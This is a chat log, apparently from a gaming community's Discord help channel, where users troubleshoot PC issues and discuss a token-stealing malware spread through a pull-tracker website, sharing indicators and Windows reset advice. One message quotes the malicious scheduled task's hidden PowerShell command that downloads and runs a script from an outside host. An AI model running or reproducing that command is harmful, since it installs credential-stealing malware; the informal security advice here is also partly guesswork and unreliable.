i wouldn't go higher than that voltage if you don't know exactly what you're doing, as the heat and performance tradeoffs aren't worth it for the overclock stability you're trying to achieve

don't copy ram overclocks straight from the internet or guides, as they're mostly designed for users who have the exact same ram kit. if you have a different ram kit, you'll want to use the factory determined EXPO/XMP/DOCP profiles, or go with known safer overclocks, as the performance difference on most systems is quite marginal for the effort required to guarantee a stable overclock, @fallen cove

alright, make sure you use caution as you'll encounter different issues if you set the voltage too low or too high

use EXPO II

and increase the voltage a bit until it's stable

.05V should be enough

[bleak citrus]

Already reinstall all vcredist, uninstall kaspersky and win 8 compatibility. Still cant run the game on vulkan

[tall acorn]

^ @bleak citrus?

[agile tusk]

zen im going to send u a couple pictures of my event viewer and task scheduler in regards to the malware give me a couple minutes

[bleak citrus]

Nothing else. No vpn

[tall acorn]

probably requires a full game reinstall atp, could you describe how the game tries to start up?

[tall acorn]

try doing this one more time

[bleak citrus]

The screen is up but everything is black screen and then suddenly close itself

[tall acorn]

we can proceed with a full reinstall afterwards if you're interested, it's quite straightforward

[sharp rapids]

am i safe???

[agile tusk]

have you ever ran the script even once? also try searching for HKCU:\Software\Orutime\Lethreme, just to double check

[sharp rapids]

do i just copy paste this outright?

[agile tusk]

in the event viewer Find yes

[sharp rapids]

?

[agile tusk]

alright try checking the part of the guide for task scheduler

[sharp rapids]

ive checekd that and none as well

[agile patio]

I used a pull tracker before followed the guide, used malware bytes, defender offline scan found nothing

[tall acorn]

if you're compromised, you'll need to fully reinstall windows and change most of your passwords as indicated by a reddit post on the r/endfield sub apparently

• https://www.reddit.com/r/Endfield/comments/1rjx5v6/endfieldrecords_dot_com_pull_tracker_malware/

[agile tusk]

@tall acorn so regarding endfieldrecords, here's what i found on my pc.
images 1-4: Event Viewer, Error 4104
image 5: Event Viewer, all these powershell sources but i never opened powershell today and yesterday
image 6: Task Scheduler. most of the RegisterDevice has Custom Handler under Action
image 7: Task Scheduler. there, a malicious code! -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command “iex (irm ‘rouf /./ xyz/uw’)”

aside from windows defender, malwarebytes did a scan yesterday and ofc nothing popped up.

what i did as soon as i heard the news of the compromised website: disconnected my pc from ethernet (plugged it out), scanned for any remote access with seraph secure, then uninstalled endfield and gryphline using revo uninstaller.

i'm cooked, aren't i? even my friend got affected and she's 99% NOT tech-savvy for ts

[tall acorn]

follow the guide included in the post

[sharp rapids]

mine doesnt have those scripts

[agile patio]

What is image 5?

[tall acorn]

the malware grabs a ton of information ranging from browser cookies to log in tokens for various applications, primarily gacha apps apparently, but also seems to grab discord and other tokens on your computer

[agile tusk]

powershell stuff which is a big red flag bc i have not opened that today and yesterday. its 10am currently

[tall acorn]

if you've found those on your computer, you're definitely cooked

[agile tusk]

as you can see, few errors were trying at 4-7am

[alpine birch]

Does system restore back to 3 days ago or something work

[tall acorn]

clean install windows

[agile tusk]

dang........... can i backup my files first tho 😭 pls dont tell me they got compromised

[tall acorn]

i wouldn't recommend trying to circumvent the malware, as it's deeply embedded in the system registry among other places on the computer

[tall acorn]

personal files are fine 👍

[alpine birch]

[agile tusk]

girl we gotta clean reinstall

[alpine birch]

End me. Idk how and I'm scared about my drawing/work files....

[agile patio]

I need to cek again

I followed the hlkm orutime didnt see it at all

But thats hlkm cryptography

Didnt fine rouf.xyz too

[tall acorn]

it's quite straightforward enough to do

[agile patio]

Does reinstalling windows delete everything?

[tall acorn]

i'll consider creating a post on how to do it without requiring multiple storage devices

[agile patio]

And need to insert windows code again?

[tall acorn]

you can keep your personal files

[agile tusk]

@tall acorn system > recovery > reset this pc > keep my files?

[agile patio]

I need a usb or something for it?

[stuck forge]

I ran the script early on jan, did this script install the malware? I see this on the reddit post as well and I did the search and haven't found anything

[tall acorn]

most likely

[agile patio]

If i dont use endfield records?

[tall acorn]

sure, you'll be required to reinstall any apps you had on your old installation though

[agile patio]

I used trackmypulls, wuwa before

[tall acorn]

but i'd recommend saving an external copy of your most important files, just in case

[agile patio]

Any games on c drive im guessing

[tall acorn]

all applications - certain ones will still work, the majority of them will not

[alpine birch]

As long as my work files on hdd aren't gonna disappear

[tall acorn]

i can't personally say for every pull tracker out there

the nature of pull trackers is risky, and the intention of some of them can be for malicious use

though there's reputable verified ones out there

[bleak citrus]

@tall acorn Turns out my AMD driver is error and now im working to reinstall it with previous version. I hope this will work

[urban bison]

i did the steps in the google doc and found nothing am i good or nah

[tall acorn]

follow the AMD DDU guide listed in the pins

[urban bison]

man faw this im just gonna reinstall windows

[tall acorn]

up to you to make a second decision with your personal judgement

[bleak citrus]

Okay. I never know windows can replace my driver if i updating the windows. Gotta turn off the windows update

[urban bison]

well this stinks i have like 5 gacha games i need to redownload

[bleak citrus]

Its somehow replace my previous driver and i cant even open my amd control panel

[alpine birch]

I'm just gonna wait a bit more and read how it goes for y'all since I'm not tech savvy and all 😭

[tall acorn]

see you next week.. (500 GB~)

[alpine birch]

Same but I'd rather reinstall all those and be safe

[bleak citrus]

Worry not, Zencrox here is so good helping me even tho i have dead brain in tech.

[urban bison]

someone said if you ran the script without powershell on administrator the malware script likely failed?

[tall acorn]

possibly ran a token logger in powershell will fully elevated system permissions -> operating system and passwords most likely compromised -> "but ur saying theres a chance i might be good tho?"

[agile patio]

i never ran as admin on it

[tall acorn]

it won't create registry keys without being run as administrator

so if you didn't run it in an elevated powershell prompt, there's a chance you were barely or entirely unaffected

[urban bison]

so im good then

[agile tusk]

my files are gonna be safe yes? but steam wont be able to run at all i assume..?

[urban bison]

i checked and powershell wasnt elevated/admin

[agile patio]

how to check if poweshell wasnt elevated?

[tall acorn]

i wouldn't risk it if it were me personally

[urban bison]

ok well im just going to reinstall windows then.. its a better idea to change my passwords after windows is clean or should i do it now?

[tall acorn]

after is fine

[agile tusk]

change your passwords/clear sessions in another device if you have not reinstalled it yet

[forest apex]

I have a question: do you get infected simply by accessing the website, or does the problem only occur if you use the script?

[urban bison]

when you use the script

[steel swift]

script

[tall acorn]

it'll only clear applications, games, settings, temporary files, etc that aren't in your user profile

so everything will be safe

except for your games and apps

granted you select the keep my files option

[agile patio]

Settings → System → Recovery → Reset this PC this right? and my c drive is reset while keeping everyhing else?

[forest apex]

Thanks. I checked my history to see if I accessed the site, and yes, I accessed it only once, but I never even put their script in my prompt.

[tall acorn]

and it won't delete screenshots, videos, downloads, etc on your account

[agile tusk]

does the keep my files apply to drive D: and E: too? since windows boot is on C: , i dont have to worry about the other two drives... i hope

im #paranoid ive had troubles backing and recovering my 1TB hdd and i dont have the capacity to do it again

[alpine birch]

^

[tall acorn]

it won't touch your other drives

[alpine birch]

[agile patio]

i should move games to other drives first?

[forest apex]

Here's a tip I give before formatting Windows, for those who suspect a virus: go to the websites you're logged into and log out. This will delete the session cookie.

[tall acorn]

nope

reinstall them

[agile tusk]

all my games are in D and E. if i can get steam to work, i am PRAYING i dont have to reinstall and just verify integrity for each one

[agile patio]

Settings → System → Recovery → Reset this PC > keep files right?

[summer pagoda]

you'll get a list of the apps and games that got nuked

[urban bison]

isnt keeping your files a bad idea tho since the malware might've infected those too

[summer pagoda]

if you have a spare drive then copy them over and then copy them back to save on downloads

[alpine birch]

Most main games I have are in my SSD/C ....and the drawing files on D and E but idm reinstall all games later on if I ever reinstall windows ..

[alpine birch]

Oh thank God. Im too dory to remember everything that disappears

[polar atlas]

should I be concerned about my other trackers too like starrailstation and genshinwizard? (srry if this is unrelated, tracker stuff has me v paranoid)

[summer pagoda]

no reports

I'm sure they are being audited atm

[polar atlas]

gotcha

[alpine birch]

Suddenly questioning my life why I'm playing 5 gacha games and now this whole thing made my brain shut down that I can't work 😭

[agile patio]

same didnt used endfield but use other website tracker

[tall acorn]

What Windows Reset This PC Does [Informational]

• It won't remove any of your personal files, granted you select the Keep My Files option. (Screenshots, Videos, Documents, Downloads, etc)

• It won't touch ANYTHING on additional drives, granted you don't manually navigate to and configure options to erase data on all drives.

• It will reset ALL windows settings, system files, temporary files, customization, etc.

• It will remove your apps and programs, including games that are on your main drive, which is usually the C: drive.

• For this specific malware, you won't need to worry about it messing with your personal files.

• You'll receive a list of the removed files during the process.

[urban bison]

i have like 50 emails bro im cooked

[tall acorn]

there's some clarification

[tall acorn]

generally yes, but specifically for this case it appears to just be a token logger

[summer pagoda]

windows says it will nuke the games on my other drives too

[urban bison]

what does that mean sorry im slow

extra slow because im sick rn

[tall acorn]

very unlikely that it's touching or manipulating your personal files

in this case

[urban bison]

o

[brazen moth]

Why do people even use pull tracker? What's the point besides bragging on the net, which no one gives a shit about?

[summer pagoda]

looks nice

[tall acorn]

it's interesting and appealing

[brazen moth]

Isn't there a pull history in-game?

[summer pagoda]

looks ugly

[brazen moth]

Meh, I'd rather have that, than have my PC compromised

[alpine birch]

I like to look at my miserable pull count. It's a reminder of my suffering

[agile patio]

pages of pulls compared to data of pulls

[tall acorn]

getting hacked by something seemingly obvious happens sometimes, but isn't easy to fall victim to is you're using your common sense

[summer pagoda]

also doesn't ingame history delete itself after a few months?

ik for wuwa it does

[agile patio]

that deleted too

[agile patio]

so keep files is a valid thing?

[full marsh]

so far I've cleared my session on the site, changed my password. Do I have to reinstall Endfield too just in case, I've followed the steps on the doc but didn't find anything so Im just making sure. I entered that site once but the import ran forever so I cancel it and didn't come back since

[tall acorn]

for cases where something is actively incentivizing to follow, (either because it has something you're interested in, or others are doing it), it's easy to throw common sense out the window, or accidentally make a mistake you didn't consider to have any serious consequences

[tall acorn]

reinstall windows unless you want the malware to persist on your system

[agile tusk]

according to community findings, the malware from endfieldrecords is a common setup for phishing attacks. imaged attached is regarding files, hence why we are considering the option to keep rather than entirely nuking the pc

[agile patio]

ehh im away from my pc , its running a complete full scan since i go to work

prob checked it after i got home, i used other trackers not that website specifically

[tall acorn]

[tall acorn]

yeah that's pretty much why you'd be upset

the main inconvenience isn't losing your personal information and the stuff you use, it's trying to secure it and get it back

[alpine birch]

Yeah

[agile tusk]

mood. i got my 2fa ready if shit escalates its just a hassle

Someone is trying to sabotage AKE
Bro.. not even Hoyo & Wuwa pull trackers have this maleare stuff

[tall acorn]

windows defender scan won't detect this specific malware, although it's intended to search deeply for malware everywhere in the system, including startup and registry keys

[agile patio]

1. Didnt use that website but used other trackers
2. i checked early on the day with ctrl +f didnt find the 3 below
   rouf.xyz
   HKCU:\Software\Orutime\Lethreme
   HKLM:\Software\Orutime\Lethreme
3. i didnt run as admin (but idk how to check to be sure)
4. Searching in task scheduler didnt find anything aside from custom handler
5. Proceed to ran resulted in normal instances running
   this 5 things Get-ScheduledTask -TaskName "RegisterDeviceScopeChange" -TaskPath "\Microsoft\Windows\DeviceDirectoryClient"

i hate it cause its just paranoia

[polar atlas]

prob just the creators being malicious? I think Hoyo and Wuwa and even AKE have a couple wish trackers with most of them being v reliable and a lot of ppl using them for a while, just think this specific one was just unfortunate (i think)

[tall acorn]

won't matter if someone has your token

[agile patio]

endfield also have other tracker

[tall acorn]

here's an example

[polar atlas]

yea

tbh, i think the malware stuff is records exclusive

[urban bison]

are we even allowed to talk about trackers

[urban bison]

werent those banned

[polar atlas]

unless the scripts r identical (which i assume they aren't), should be good

[agile patio]

why are they supposedly ban even?

[urban bison]

like banned to talk about

[tall acorn]

service asks if you have the password?

you respond with yes, you have the password

service asks for multi-factor-authentication?

you respond with yes, you have the MFA!

service authenticates you with a token, validating you as that user

[tall acorn]

later someone who has access to your account token can just be authenticated as you
